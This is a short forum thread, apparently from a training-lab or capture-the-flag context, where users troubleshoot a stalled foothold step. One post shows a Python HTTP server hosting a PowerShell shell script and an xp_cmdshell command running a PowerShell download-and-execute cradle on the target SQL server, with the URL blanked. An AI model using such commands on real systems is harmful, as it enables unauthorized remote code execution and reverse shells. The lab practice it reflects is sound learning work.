Starting point Foothold


im listening on port 80

python3 -m http.server 80
Serving HTTP on port 80 ( … - - [01/Jul/2020 17:24:12] “GET /shell.ps1 HTTP/1.1” 200 -

my other terminal in SQL to pull the shell.ps1

Press help for extra shell commands
SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("\“);”

the problem is the SQL xp_cmdshell command is waiting foreevr
nothing retunred

I’m facing the same issue. Response is 200, netcat sees the connection from, but nothing is returned in the SQL prompt.

Did you manage to find out anything new?